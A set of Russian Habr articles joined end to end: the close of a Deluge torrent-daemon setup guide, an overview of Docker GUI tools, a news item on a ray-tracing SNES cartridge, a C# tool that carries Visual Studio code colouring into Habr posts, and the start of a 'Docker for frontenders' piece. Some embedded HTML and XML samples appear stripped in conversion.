PIDFILE1=/var/run/$NAME1.pid
PIDFILE2=/var/run/$NAME2.pid
UMASK=022 # Change this to 0 if running deluged as its own user
PKGNAME=deluge-daemon
SCRIPTNAME=/etc/init.d/$PKGNAME
# Exit if the package is not installed
[ -x "$DAEMON1" -a -x "$DAEMON2" ] || exit 0
# Read configuration variable file if it is present
[ -r /etc/default/$PKGNAME ] && . /etc/default/$PKGNAME
# Load the VERBOSE setting and other rcS variables
[ -f /etc/default/rcS ] && . /etc/default/rcS
# Define LSB log_* functions.
# Depend on lsb-base (>= 3.0-6) to ensure that this file is present.
. /lib/lsb/init-functions
if [ -z "$RUN_AT_STARTUP" -o "$RUN_AT_STARTUP" != "YES" ]
then
log_warning_msg "Not starting $PKGNAME, edit /etc/default/$PKGNAME to start it."
exit 0
fi
if [ -z "$DELUGED_USER" ]
then
log_warning_msg "Not starting $PKGNAME, DELUGED_USER not set in /etc/default/$PKGNAME."
exit 0
fi
#
# Function to verify if a pid is alive
#
is_alive()
{
pid=`cat $1` > /dev/null 2>&1
kill -0 $pid > /dev/null 2>&1
return $?
}
#
# Function that starts the daemon/service
#
do_start()
{
# Return
# 0 if daemon has been started
# 1 if daemon was already running
# 2 if daemon could not be started
is_alive $PIDFILE1
RETVAL1="$?"
if [ $RETVAL1 != 0 ]; then
rm -f $PIDFILE1
start-stop-daemon --start --background --quiet --pidfile $PIDFILE1 --make-pidfile \
--exec $DAEMON1 --chuid $DELUGED_USER --user $DELUGED_USER --umask $UMASK -- $DAEMON1_ARGS
RETVAL1="$?"
else
is_alive $PIDFILE2
RETVAL2="$?"
[ "$RETVAL2" = "0" -a "$RETVAL1" = "0" ] && return 1
fi
is_alive $PIDFILE2
RETVAL2="$?"
if [ $RETVAL2 != 0 ]; then
sleep 2
rm -f $PIDFILE2
start-stop-daemon --start --background --quiet --pidfile $PIDFILE2 --make-pidfile \
--exec $DAEMON2 --chuid $DELUGED_USER --user $DELUGED_USER --umask $UMASK -- $DAEMON2_ARGS
RETVAL2="$?"
fi
[ "$RETVAL1" = "0" -a "$RETVAL2" = "0" ] || return 2
}
#
# Function that stops the daemon/service
#
do_stop()
{
# Return
# 0 if daemon has been stopped
# 1 if daemon was already stopped
# 2 if daemon could not be stopped
# other if a failure occurred
start-stop-daemon --stop --quiet --retry=TERM/30/KILL/5 --user $DELUGED_USER --pidfile $PIDFILE2
RETVAL2="$?"
start-stop-daemon --stop --quiet --retry=TERM/30/KILL/5 --user $DELUGED_USER --pidfile $PIDFILE1
RETVAL1="$?"
[ "$RETVAL1" = "2" -o "$RETVAL2" = "2" ] && return 2
rm -f $PIDFILE1 $PIDFILE2
[ "$RETVAL1" = "0" -a "$RETVAL2" = "0" ] && return 0 || return 1
}
case "$1" in
start)
[ "$VERBOSE" != no ] && log_daemon_msg "Starting $DESC" "$NAME1"
do_start
case "$?" in
0|1) [ "$VERBOSE" != no ] && log_end_msg 0 ;;
2) [ "$VERBOSE" != no ] && log_end_msg 1 ;;
esac
;;
stop)
[ "$VERBOSE" != no ] && log_daemon_msg "Stopping $DESC" "$NAME1"
do_stop
case "$?" in
0|1) [ "$VERBOSE" != no ] && log_end_msg 0 ;;
2) [ "$VERBOSE" != no ] && log_end_msg 1 ;;
esac
;;
restart|force-reload)
log_daemon_msg "Restarting $DESC" "$NAME1"
do_stop
case "$?" in
0|1)
do_start
case "$?" in
0) log_end_msg 0 ;;
1) log_end_msg 1 ;; # Old process is still running
*) log_end_msg 1 ;; # Failed to start
esac
;;
*)
# Failed to stop
log_end_msg 1
;;
esac
;;
*)
echo "Usage: $SCRIPTNAME {start|stop|restart|force-reload}" >&2
exit 3
;;
esac
:
```
4. Даем права на выполнение этому скрипту:
```
$ sudo chmod 755 /etc/init.d/deluge-daemon
```
5. Добавляем его в автозагрузку:
```
$ sudo update-rc.d deluge-daemon defaults
```
6. И запускаем:
```
$ sudo invoke-rc.d deluge-daemon start
```
7. После чего перезагружаемся.
Теперь если зайти на 192.168.0.98:8112, то можно попасть в web ui торрент-качалки.
8. Откроем доступ извне для нашего web ui. Для этого вернемся в наш роутер в Переадрессация -> Виртуальные серверы и добавим еще одну запись:
Порт сервиса: 80
Внутренний порт: 8112
IP-адрес: 192.168.0.98
Протокол: все
После сохранения можно будет попасть на web ui просто вбив ваше доменное имя в адресную строку браузера.
### Заключение
Я надеюсь, что моя статья хоть кому-то окажется полезной. Спасибо за уделенное внимание и потраченное время. | https://habr.com/ru/post/247783/ | null | ru | null |
# Обзор GUI-интерфейсов для управления Docker-контейнерами
Работа с Docker в консоли — привычная для многих рутина. Тем не менее, бывают случаи, когда GUI-/веб-интерфейс может оказаться полезным даже для них. В статье представлен обзор наиболее заметных на сегодняшний день решений, авторы которых попытались предложить более удобные (или подходящие для каких-то случаев) интерфейсы для знакомства с Docker или даже обслуживания больших его инсталляций. Некоторые из проектов совсем молоды, а иные — наоборот, уже отмирают…
Portainer
---------
* [Сайт](https://portainer.io/); [GitHub](https://github.com/portainer/portainer); [Gitter](https://gitter.im/portainer/Lobby).
* Лицензия: Open Source (zlib License и другие).
* ОС: Linux, Mac OS X, Windows.
* Языки/платформа: Go, JavaScript (Angular).
* [Демо-версия](http://demo.portainer.io/) (admin / tryportainer).
Portainer (ранее известен как UI for Docker) — самый популярный веб-интерфейс для работы с Docker-хостами и кластерами Docker Swarm. Запускается очень просто — развёртыванием Docker-образа, которому в качестве параметра передаётся адрес/сокет Docker-хоста. Позволяет управлять контейнерами, образами (умеет забирать их из Docker Hub), сетями, томами, секретами. Поддерживает Docker 1.10+ (и Docker Swarm 1.2.3+). При просмотре контейнеров для каждого из них доступна базовая статистика (использование ресурсов, процессы), логи, подключение к консоли (веб-терминал xterm.js). Имеются свои списки доступов, позволяющие ограничивать пользователям Portainer права на различные операции в интерфейсе.
Kitematic (Docker Toolbox)
--------------------------
* [Сайт](https://kitematic.com/) (+ [страница Docker Toolbox](https://www.docker.com/products/docker-toolbox)); [GitHub](https://github.com/docker/kitematic); [форум](https://forums.docker.com/c/open-source-projects/kitematic).
* Лицензия: Open Source (Apache License 2.0).
* ОС: Mac OS X, Windows.
* Языки/платформа: Electron, Node.js, React и AltJS.
Стандартный GUI для пользователей Docker в Mac OS X и Windows, который вошёл в состав Docker Toolbox — инсталлятора набора утилит, включающих в себя также Docker Engine, Compose и Machine. Имеет минимальный набор функций, обеспечивающих загрузку образов из Docker Hub, управление базовыми настройками контейнеров (включая тома, сети), просмотр логов и подключение к консоли.
Shipyard
--------
* [Сайт](https://shipyard-project.com/); [GitHub](https://github.com/shipyard/shipyard).
* Лицензия: Open Source (Apache License 2.0).
* ОС: Linux, Mac OS X.
* Языки/платформа: Go, Node.js.
Shipyard — это не просто интерфейс, а система управления ресурсами Docker, в основу которой заложено наличие своего API. API в Shipyard — RESTful на базе формата JSON, совместим на 100% с Docker Remote API, предлагает дополнительные возможности (в частности — аутентификацию и управление списками доступа, логирование всех выполняемых операций). Этот API и является той базой, вокруг которой уже построен веб-интерфейс. Для хранения служебной информации, не относящейся напрямую к контейнерам и образам, в Shipyard используется RethinkDB. Веб-интерфейс позволяет управлять контейнерами (включая просмотр статистики и логов, подключение к консоли), образами, узлами кластера Docker Swarm, приватными реестрами (Registries).
Admiral
-------
* [Сайт](https://vmware.github.io/admiral/); [GitHub](https://github.com/vmware/admiral).
* Лицензия: Open Source (Apache License 2.0).
* ОС: Linux, Mac OS X, Windows.
* Языки/платформа: Java (фреймворк VMware Xenon).
Платформа от VMware, предназначенная для автоматизированного деплоя контейнеризированных приложений и управления ими на протяжении жизненного цикла. Позиционируется как легковесное решение, призванное упростить жизнь DevOps-инженерам. Веб-интерфейс позволяет управлять хостами с Docker, контейнерами (+ просмотр статистики и логов), шаблонами (образы, интегрированные с Docker Hub), сетями, реестрами, политиками (какие хосты какими контейнерами будут использоваться и как распределять ресурсы). Умеет проверять состояние контейнеров (health checks). Распространяется и разворачивается как Docker-образ. Работает с Docker 1.12+. *(См. также знакомство с программой в [блоге VMware](https://blogs.vmware.com/cloudnative/2017/07/24/exploring-admiral-vmwares-container-management-interface/) с большим количеством скриншотов.)*
DockStation
-----------
* [Сайт](https://dockstation.io/); [GitHub](https://github.com/DockStation/dockstation) *(без исходного кода)*.
* Лицензия: проприетарная (freeware).
* ОС: Linux, Mac OS X, Windows.
* Языки/платформа: Electron (Chromium, Node.js).
DockStation — молодой проект, [созданный](https://dev.by/lenta/main/kak-my-eto-sdelali-dockstation-servis-dlya-upravlenie-proektami-baziruyuschimisya-na-docker) белорусскими программистами *(которые, кстати, [ищут инвесторов](https://www.facebook.com/igor.lemon.kozlovsky/posts/10212177835394616) для его дальнейшего развития)*. Две главные особенности — ориентированность на разработчиков (не на DevOps-инженеров или сисадминов) с полноценной поддержкой Docker Compose и закрытость кода (бесплатно для использования, а за деньги авторы предлагают персональную поддержку и доработку возможностей). Позволяет не только управлять образами (поддерживается Docker Hub) и контейнерами (+ статистика и логи), но и заводить проекты с визуализацией связей контейнеров, задействованных в проекте. Также имеется парсер (находится в бета-версии), позволяющий конвертировать команды `docker run` в формат Docker Compose. Работает с Docker 1.10.0+ (Linux) и 1.12.0 (Mac + Windows), Docker Compose 1.6.0+.
Simple Docker UI
----------------
* [GitHub](https://github.com/felixgborrego/simple-docker-ui).
* Лицензия: Open Source (MIT License).
* ОС: Linux, Mac OS X, Windows.
* Языки/платформа: Electron, Scala.js (+ React on Scala.js).
Простой интерфейс для работы с Docker, использующий Docker Remote API. Позволяет управлять контейнерами и образами (с поддержкой Docker Hub), подключаться к консоли, просматривать историю событий. Имеет механизмы удаления неиспользуемых контейнеров и образов. Проект находится в бета-версии и развивается очень медленно (реальная активность, судя по коммитам, утихла в феврале этого года).
Другие варианты
---------------
В обзор не попали:
* [Rancher](http://rancher.com/rancher) — платформа управления контейнерами, обладающая функциями оркестровки и поддержкой Kubernetes. Open Source (Apache License 2.0); работает в Linux; написана на Java. Имеет веб-интерфейс [Rancher UI](https://github.com/rancher/ui) на Node.js.
* [Kontena](https://www.kontena.io/platform) — «дружелюбная к разработчикам платформа для запуска контейнеров в production», по существу конкурирующая с Kubernetes, но позиционируемая как более готовое «из коробки» и простое в использовании решение. Помимо CLI и REST API проект предлагает веб-интерфейс *([скриншот](https://habrastorage.org/web/3f7/acd/0de/3f7acd0de17f40d2b25a9578c59903cc.png))* для управления кластером и его оркестровкой (включая работу с узлами кластера, сервисами, томами, секретами), просмотра статистики/логов. Open Source (Apache License 2.0); работает в Linux, Mac OS X, Windows; написана на Ruby.
* [Data Pulley](http://datapulley.com/) — простая утилита, имеющая минимум функций и документации. Open Source (MIT License); работает в Linux *(имеется только пакет для Ubuntu)*; написана на Python. Поддерживает Docker Hub для образов, просмотр логов для контейнеров.
* [Panamax](http://panamax.io/) — проект, задававшийся целью «сделать деплой сложных контейнеризированных приложений таким простым, как drag-n-drop». Для этого был создан свой каталог шаблонов для деплоя приложений ([Panamax Public Templates](https://github.com/CenturyLinkLabs/panamax-public-templates)), результаты из которого показываются при поиске образов/приложений наравне с данными из Docker Hub. Open Source (Apache License 2.0); работает в Linux, Mac OS X, Windows; написан на Ruby. Интегрирован с ОС CoreOS и системой для оркестровки Fleet. Судя по видимой в интернете активности, перестал поддерживаться в 2015 году.
* [Dockly](https://github.com/lirantal/dockly) — **консольный** графический интерфейс для управления контейнерами и образами Docker. Open Source (MIT License); написан на JavaScript/Node.js.
**Напоследок: как же выглядит GUI в Dockly? Осторожно, GIF на 3,4 Мб!**
P.S.
----
Читайте также в нашем блоге:
* «[Шпаргалка с командами Docker](https://habrahabr.ru/company/flant/blog/336654/)».
* «[Play with Docker — онлайн-сервис для практического знакомства с Docker](https://habrahabr.ru/company/flant/blog/334470/)».
* «[Vulnerable Docker VM — виртуалка-головоломка по Docker и pentesting](https://habrahabr.ru/company/flant/blog/337154/)». | https://habr.com/ru/post/338332/ | null | ru | null |
# Энтузиаст добавил в ретроконсоль трассировку лучей
Разработчик и энтузиаст Бен Картер добавил в Super NES аппаратный трассировщик лучей. Напомню, что самой консоли уже 30 лет.
Для реализации этой идеи его надоумил друг и желание получше изучить Verilog и FPGA. Таким образом появился проект SuperRT. Блогер хотел сделать аналог чипа SuperFX - даже названия похожи. Чип SuperFX располагался в картридже и обрабатывал визуальные эффекты недоступные самой консоли из-за ограничения "железа".
В итоге, Картер собрал кастомную плату картриджа с тремя дополнительными вычислительными ядрами с частотой 50 МГц - они обеспечивают поддержку трассировки лучей и базовой геометрии недоступной обычной SNES. На КПДВ можно можно видеть их работу. Автор извиняется за качество видео - виновата плата видеозахвата.
На фото можно видеть снятый корпус для монтажа проводов, по словам автора, никаких изменений в железо не вносились. Для создания модифицированной платы, автор купил древний картридж с "ужасной игрой Pachinko", удалил ПЗУ с игрой и вставил туда кабели. Еще он использовал несколько логических преобразователей (level shifters) и программируемую схему (FPGA) DE10-Nano. Большинство проводов на снимке выше обеспечивают коммутацию логических преобразователей, необходимых для конвертации напряжения с 5В, передаваемых SNES, в 3,3В допустимых для современных чипов.
Получившееся в итоге произведение Франкенштейна, способно просчитывать и отображать геометрию, цвета, тени и отражения для примерно 50 миллионов базовых объектов: плоскостей, сфер и трёхмерных объёмов (AABB). Отрендеренное изображение конвертируется в пригодный для SNES формат и передаётся в видеопамять консоли, откуда выводится на экран с разрешением 200x160.
Чип вычисляет и записывает в буфер RAM результаты своей работы. Дизассемблированный командный буфер выглядит так:
```
0000 Start
0001 Plane 0, -1, 0, Dist=-2
0002 SphereSub OH 2, 1, 5, Rad=5
0003 SphereSub OH 4, 1, 4, Rad=4
0004 SphereSub OH 5, 1, 9, Rad=9
0005 SphereSub OH 2, 1, 2, Rad=2
0006 SphereSub OH -0.5, 1, 2, Rad=2
0007 RegisterHitNoReset 0, 248, 0, Reflectiveness=0
0008 Checkerboard ORH 48, 152, 48, Reflectiveness=0
0009 ResetHitState
0010 Plane 0, -1, 0, Dist=-2.150146
0011 RegisterHit 0, 0, 248, Reflectiveness=153
0012 AABB 4, -2.5, 11, 8, 3.5, 13
0013 ResetHitStateAndJump NH 44
0014 Origin 6, 2, 12
0015 Plane -0.2929688, 0, -0.9570313, Dist=0.2497559
0016 PlaneAnd OH 0.2919922, 0, 0.9560547, Dist=0.25
0017 PlaneAnd OH 0, 1, 0, Dist=1
0018 PlaneAnd OH 0, -1, 0, Dist=4
0019 PlaneAnd OH -0.9570313, 0, 0.2919922, Dist=-1
0020 PlaneAnd OH 0.9560547, 0, -0.2929688, Dist=1.499756
0021 RegisterHit 248, 0, 0, Reflectiveness=0
```
Максимально допустимая частота кадров - 30 FPS. Это связано с ограничением пропускной способности интерфейсов самой консоли. Каждый кадр с трассировкой "весит" 32 килобайта при ограничения интерфейса вывода в 16 килобайт, поэтому полное обновление картинки возможно только каждые два кадра. Автор планирует и дальше развивать свое детище, подробнее можно узнать в его [личном блоге](https://www.shironekolabs.com/posts/superrt/). | https://habr.com/ru/post/533378/ | null | ru | null |
# Как сохранить оригинальную расцветку вашего кода из Visual Studio в публикации на Хабрахабр. Сравниваем расцветки. Опрос
Привет, хабраюзер! В этом посте я расскажу, как можно сделать свой код на Хабре более «живым» благодаря простому способу сохранения его оригинальной цветовой схемы. А также предлагаю сравнить различные варианты расцветки кода.
#### Предисловие
Сейчас я нахожусь в процессе написания своей первой статьи для Хабра про веб-сервисы. И с самого начала решил, что исходные коды буду подсвечивать сторонним хабра-хайлайтером, так как стандартный тег по моему мнению не дает качественного эффекта подсветки синтаксиса. Однако я обнаружил только один альтернативный хайлайтер — <http://highlight.hohli.com>. Результат его расцветки меня, к сожалению, не воодушевил. В конце поста я его показываю в числе 6 вариантов расцветки для непосредственного сравнения. Когда-то раньше был еще один хайлатер — **Source Code Highlighter**, описанный на Хабре [тут](http://habrahabr.ru/post/24959/) и [тут](http://habrahabr.ru/post/40669/), но он уже давно [не работает](http://virtser.net/projects). Тут я вспомнил, что код из Visual Studio полностью сохраняет свой вид при копировании в Word, этот нехитрый прием и стал основой моего метода.
#### Метод
Идея проста: код копируется в Word, документ сохранятся как html веб-страница и функция преобразует html код в хабра-совместимый. Рассмотрим на примере. Этот простой код при сохранении дает следующее содержимое , где синим цветом я обозначил все теги , розовым – цвет стиля, а коричневым – сам отображаемый текст.
> private void Hello(){
>
> MessageBox.Show("Hello Habrahabr!");
>
> }
>
>
**Hello.htm**
>
>
>
>
>
>
> lang=EN-US
>
> style='font-size:9.5pt;font-family:Consolas;color:black;background:white;
>
> mso-highlight:white;mso-ansi-language:EN-US'>
>
> style='mso-spacerun:yes'> class=GramE>
>
> lang=EN-US style='font-size:9.5pt;font-family:Consolas;color:blue;background:
>
> white;mso-highlight:white;mso-ansi-language:EN-US'>**private**
>
> lang=EN-US style='font-size:9.5pt;font-family:Consolas;color:black;background:
>
> white;mso-highlight:white;mso-ansi-language:EN-US'> lang=EN-US
>
> style='font-size:9.5pt;font-family:Consolas;color:blue;background:white;
>
> mso-highlight:white;mso-ansi-language:EN-US'>**void**lang=EN-US
>
> style='font-size:9.5pt;font-family:Consolas;color:black;background:white;
>
> mso-highlight:white;mso-ansi-language:EN-US'> **Hello(){**
>
>
>
>
>
> <span lang=EN-US
>
> style='font-size:9.5pt;font-family:Consolas;color:black;background:white;
>
> mso-highlight:white;mso-ansi-language:EN-US'>
>
> style='mso-spacerun:yes'> class=GramE><span
>
> lang=EN-US style='font-size:9.5pt;font-family:Consolas;color:#2B91AF;
>
> background:white;mso-highlight:white;mso-ansi-language:EN-US'>**MessageBox**span><span
>
> lang=EN-US style='font-size:9.5pt;font-family:Consolas;color:black;background:
>
> white;mso-highlight:white;mso-ansi-language:EN-US'>**.Show(**
>
> lang=EN-US style='font-size:9.5pt;font-family:Consolas;color:#A31515;
>
> background:white;mso-highlight:white;mso-ansi-language:EN-US'>**"Hello**
>
> **Habrahabr****!&****quot****;**lang=EN-US style='font-size:9.5pt;font-family:
>
> Consolas;color:black;background:white;mso-highlight:white;mso-ansi-language:
>
> EN-US'>**);**
>
>
>
>
>
> lang=EN-US style='font-size:9.5pt;line-height:115%;
>
> font-family:Consolas;color:black;background:white;mso-highlight:white;
>
> mso-ansi-language:EN-US'>style='mso-spacerun:yes'>
>
> style='font-size:9.5pt;line-height:115%;font-family:Consolas;color:black;
>
> background:white;mso-highlight:white'>**}**
>
>
>
>
>
>
>
>
Как видим, каждая строка исходного кода преобразуется в тег , внутри которого с помощью вложенных тегов производится форматирование текста, а его цвет хранится в атрибуте **style**. Становится ясен алгоритм преобразования: для каждого тега из **"/html/body/div/p"** произвести рекурсивную трансляцию его содержимого в новый html документ, попутно с помощью тега устанавливая цвет текста. Под спойлером приведен полный исходный код получившегося метода, который выглядит в соответствии с моей оригинальной цветовой схемой. Для работы с html использована библиотека **[Html Agility Pack](http://htmlagilitypack.codeplex.com/)**.
**HabraCodeFormatter.cs**
> 1. using System;
> 2. using System.IO;
> 3. using HtmlAgilityPack;
> 4.
> 5. namespace HabraCode{
> 6. public static class HabraCodeFormatter{
> 7. const char **spaceClassic** = (char)**32**;
> 8. const char **spaceNbsp** = (char)**160**;
> 9.
> 10. public static void Format(string fileHtm, bool withLineNumbers = false){
> 11. var info = new FileInfo(fileHtm);
> 12. string destFile = info.DirectoryName + "\\" + info.Name.Replace(info.Extension, null) + "\_result.txt";
> 13. Format(fileHtm, destFile, withLineNumbers);
> 14. }
> 15.
> 16.
> 17. public static void Format(string fileHtm, string fileDest, bool withLineNumbers = false){
> 18. var doc = new HtmlDocument();
> 19. doc.Load(fileHtm);
> 20. var nodes = doc.DocumentNode.SelectNodes("/html/body/div/p");
> 21. int spacesToDelete = getSpacesToDelete(nodes[**0**]);
> 22.
> 23. var result = new HtmlDocument();
> 24. var rootNode = result.CreateElement("blockquote");
> 25. result.DocumentNode.AppendChild(rootNode);
> 26.
> 27. if (withLineNumbers){
> 28. var nodeOl = result.CreateElement("ol");
> 29. rootNode.AppendChild(nodeOl);
> 30. rootNode = nodeOl;
> 31. }
> 32.
> 33. foreach (var node in nodes){
> 34. if (withLineNumbers){
> 35. var nodeLi = doc.CreateElement("li");
> 36. nodeLi.AppendChildren(node.ChildNodes);
> 37. node.RemoveAllChildren();
> 38. node.AppendChild(nodeLi);
> 39. }
> 40.
> 41. int refSpaces = spacesToDelete;
> 42. translateNode(node, rootNode, ref refSpaces);
> 43. rootNode.AppendChild(result.CreateTextNode(Environment.NewLine));
> 44. }
> 45.
> 46. result.Save(fileDest);
> 47. }
> 48.
> 49.
> 50. private static int getSpacesToDelete(HtmlNode node){
> 51. for (int index = **0**; index < node.InnerText.Length; index++){
> 52. if (!isSpace(node.InnerText[index])){
> 53. return index;
> 54. }
> 55. }
> 56.
> 57. return **0**;
> 58. }
> 59.
> 60.
> 61. private static void translateNode(HtmlNode node, HtmlNode destParent, ref int spacesToDelete){
> 62. HtmlNode destNode = destParent;
> 63.
> 64. switch (node.Name){
> 65. case "o:p":
> 66. case "p":
> 67. break;
> 68.
> 69. case "span":
> 70. string color = getColor(node);
> 71.
> 72. if (color != null){
> 73. destNode = destParent.OwnerDocument.CreateElement("font");
> 74. destNode.SetAttributeValue("color", color);
> 75. }
> 76. break;
> 77.
> 78. case "#text":
> 79. string text = translateText(node.InnerText, ref spacesToDelete);
> 80. destNode = destParent.OwnerDocument.CreateTextNode(text);
> 81. break;
> 82.
> 83. case "b":
> 84. case "li":
> 85. destNode = destParent.OwnerDocument.CreateElement(node.Name);
> 86. break;
> 87.
> 88. default:
> 89. throw new InvalidOperationException("Unexpected node.Name " + node.Name);
> 90. }
> 91.
> 92. if (!ReferenceEquals(destNode, destParent)){
> 93. destParent.ChildNodes.Add(destNode);
> 94. }
> 95.
> 96. if (node.HasChildNodes){
> 97. foreach (HtmlNode child in node.ChildNodes){
> 98. translateNode(child, destNode, ref spacesToDelete);
> 99. }
> 100. }
> 101. }
> 102.
> 103.
> 104. private static string translateText(string text, ref int spaces){
> 105. if (string.IsNullOrEmpty(text)){
> 106. return text;
> 107. }
> 108.
> 109. text = text.Replace("http://", "http://");
> 110. text = text.Replace("\r\n", " ");
> 111.
> 112. if (spaces > **0** && text.Length >= spaces && isSpace(text.Substring(**0**, spaces))){
> 113. text = text.Remove(**0**, spaces);
> 114. spaces = **0**;
> 115. }
> 116.
> 117. text = text.Replace(**spaceClassic**.ToString(), " ");
> 118. text = text.Replace(**spaceNbsp**.ToString(), " ");
> 119. return text;
> 120. }
> 121.
> 122.
> 123. private static bool isSpace(char ch){
> 124. return (ch == **spaceClassic** || ch == **spaceNbsp**);
> 125. }
> 126.
> 127.
> 128. private static bool isSpace(string text){
> 129. foreach (char ch in text){
> 130. if (!isSpace(ch)){
> 131. return false;
> 132. }
> 133. }
> 134.
> 135. return true;
> 136. }
> 137.
> 138.
> 139. private static string getColor(HtmlNode node){
> 140. var attr = node.Attributes["style"];
> 141.
> 142. if (attr == null || attr.Value == null){
> 143. return null;
> 144. }
> 145.
> 146. string[] values = attr.Value.Split(new[] { ';' });
> 147.
> 148. foreach (string value in values){
> 149. const string **prefixColor** = "color:";
> 150. string trimmed = value.Trim();
> 151.
> 152. if (trimmed.StartsWith(**prefixColor**)){
> 153. return trimmed.Remove(**0**, **prefixColor**.Length);
> 154. }
> 155. }
> 156.
> 157. return null;
> 158. }
> 159. }
> 160. }
>
Вероятно, многие назовут мою расцветку кода слишком пестрой, и потому неудобной, однако она ощутимо улучшает мой процесс работы с исходным кодом. Это очень простой способ немного повысить свою эффективность. Немного прокомментирую код. Класс содержит две перегрузки метода Format, где обязательным параметром является путь до исходного html файла, а необязательным – флаг добавления номеров строк. Вторая перегрузка позволяет явно указать конечный файл, иначе результат будет сохранен как [исходное\_имя]\_result.txt. Метод getSpacesToDelete позволяет найти количество начальных пробелов в первой строке, чтобы удалить их во всех последующих строках.
Настройка шрифта и расцветки исходного кода в Visual Studio производится в меню **Tools > Options > Environment > Fonts and Colors**. Однако изначально в нем вообще отсутствует возможность установить свой цвет для метода или свойства. Но если вы пользуетесь ReSharper’ом, такая возможность появляется. Для этого в меню **ReSharper > Options > Code Inspection > Settings** необходимо включить пункт **Color identifires**. И вот тут можно испытать легкий когнитивный диссонанс, потому что методы станут бирюзового цвета – такой цвет имеют классы в традиционной схеме, а классы станут темно-синими — все это можно увидеть ниже, где я сравниваю расцветки.
В моей схеме классы, ключевые слова и другие элементы имеют классический цвет, но к ним добавляются свои цвета для методов и свойств. Для тех, кто хочет ее попробовать, привожу настройку. Сохраните xml под спойлером как файл с расширением .vssettings в кодировке UTF-8 без BOM, например, HabraCode.vssettings, и сделайте импорт настройки через меню **Tools > Import and Export Settings > Import...** Кодировку можно задать, например, с помощью [Notepad++](http://notepad-plus-plus.org/). По умолчанию мастер также попутно сохраняет все ваши текущие настройки – для возможности отката изменений. После импорта шрифт будет сброшен на дефолтный, и если у вас был кастомный, его надо будет указать заново. Также в настройке «Plain Text» я слегка снизил белизну фону, уменьшив с абсолютной до #FAFAFA.
**HabraCode.vssettings**
```
2
```
#### Сравнение
Теперь я предлагаю сравнить 6 вариантов расцветки кода на примере одного из методов. Нельзя утверждать, что какая-то расцветка в принципе лучшая, потому что, как известно, на вкус и цвет товарищей нет. Но меня интересует коллективное мнение хабра-сообщества.
**1.**
```
private static string getColor(HtmlNode node){
var attr = node.Attributes["style"];
if (attr == null || attr.Value == null){
return null;
}
string[] values = attr.Value.Split(new [] {';'});
foreach (string value in values){
const string prefixColor = "color:";
string trimmed = value.Trim();
if (trimmed.StartsWith(prefixColor)){
return trimmed.Remove(0, prefixColor.Length);
}
}
return null;
}
```
**2. Черно-белый код** (получен через HabraCodeFormatter с отбросом цвета и bold’а)
> private static string getColor(HtmlNode node){
>
> var attr = node.Attributes["style"];
>
>
>
> if (attr == null || attr.Value == null){
>
> return null;
>
> }
>
>
>
> string[] values = attr.Value.Split(new [] {';'});
>
>
>
> foreach (string value in values){
>
> const string prefixColor = "color:";
>
> string trimmed = value.Trim();
>
>
>
> if (trimmed.StartsWith(prefixColor)){
>
> return trimmed.Remove(0, prefixColor.Length);
>
> }
>
> }
>
>
>
> return null;
>
> }
>
>
>
>
**3. http://highlight.hohli.com**
> private static string getColor(HtmlNode node){
>
> var attr = node.Attributes["style"];
>
>
>
> if (attr == null || attr.Value == null){
>
> return null;
>
> }
>
>
>
> string[] values = attr.Value.Split(new [] {';'});
>
>
>
> foreach (string value in values){
>
> const string prefixColor = "color:";
>
> string trimmed = value.Trim();
>
>
>
> if (trimmed.StartsWith(prefixColor)){
>
> return trimmed.Remove(0, prefixColor.Length);
>
> }
>
> }
>
>
>
> return null;
>
> }
**4. Стандартная расцветка Visual Studio**
> private static string getColor(HtmlNode node){
>
> var attr = node.Attributes["style"];
>
>
>
> if (attr == null || attr.Value == null){
>
> return null;
>
> }
>
>
>
> string[] values = attr.Value.Split(new [] {';'});
>
>
>
> foreach (string value in values){
>
> const string prefixColor = "color:";
>
> string trimmed = value.Trim();
>
>
>
> if (trimmed.StartsWith(prefixColor)){
>
> return trimmed.Remove(0, prefixColor.Length);
>
> }
>
> }
>
>
>
> return null;
>
> }
>
>
**5. Стандартная расцветка Reshaper**
> private static string getColor(HtmlNode node){
>
> var attr = node.Attributes["style"];
>
>
>
> if (attr == null || attr.Value == null){
>
> return null;
>
> }
>
>
>
> string[] values = attr.Value.Split(new [] {';'});
>
>
>
> foreach (string **value** in values){
>
> const string **prefixColor** = "color:";
>
> string trimmed = **value**.Trim();
>
>
>
> if (trimmed.StartsWith(**prefixColor**)){
>
> return trimmed.Remove(0, **prefixColor**.Length);
>
> }
>
> }
>
>
>
> return null;
>
> }
>
>
>
>
**6. Авторская расцветка**
> private static string getColor(HtmlNode node){
>
> var attr = node.Attributes["style"];
>
>
>
> if (attr == null || attr.Value == null){
>
> return null;
>
> }
>
>
>
> string[] values = attr.Value.Split(new [] {';'});
>
>
>
> foreach (string value in values){
>
> const string **prefixColor** = "color:";
>
> string trimmed = value.Trim();
>
>
>
> if (trimmed.StartsWith(**prefixColor**)){
>
> return trimmed.Remove(**0**, **prefixColor**.Length);
>
> }
>
> }
>
>
>
> return null;
>
> }
>
>
>
> | https://habr.com/ru/post/242341/ | null | ru | null |
# Docker для фронтендера. Часть 2. Что ты такое?
[Продолжаю](https://habr.com/ru/post/478932/) делать расшифровку своего доклада [Docker для фронтендера](https://frontendconf.ru/moscow/2019/abstracts/5593) с конференции [FrontendConf 2019](https://frontendconf.ru/moscow/2019).
В предыдущей части я постарался ответить на вопрос, зачем фронтенд-разработчику может понадобиться **Docker**. Сегодня попытаюсь простым языком рассказать, что это за инструмент, как он работает, и сравнить его с другими известными во фронтенде понятиями.
Содержание
----------
1. [Docker для фронтендера. Часть 1. Зачем?](https://habr.com/ru/post/478932/)
2. [Docker для фронтендера. Часть 2. Что ты такое?](https://habr.com/ru/post/479018/)
3. Docker для фронтендера. Часть 3. Немного рецептов
Что ты такое?
-------------
Кто не знает, что такое Docker, представляют его себе по-разному.
Кто-то думает, что это средство для установки контейнера на машину.
Под [анонсом в ВК](https://vk.com/wall-20629724_1259263) предыдущей части этой статьи появилась пара шуточных комментариев.
И только сисадмины, похоже, что-то знают.
Ребята из **[Docker, Inc](https://www.docker.com/)** представляют нам этот инструмент через маркетинговый слоган:
> **Отлаживайте ваше приложение, а не среду**
>
> Безопасно собирайте, делитесь и запускайте любое приложение где угодно
Она немного лукавят. Собирать, делиться и запускать действительно можно. Но с **"безопасно"** и с **"где угодно"** дела обстоят не совсем так.
Про проблемы с безопасностью можно узнать, например, [в этой статье](https://habr.com/ru/company/southbridge/blog/339126/), а про **"где угодно"** я расскажу чуть дальше.
Виртуализация
-------------
Возможность виртуализации появилась достаточно давно.
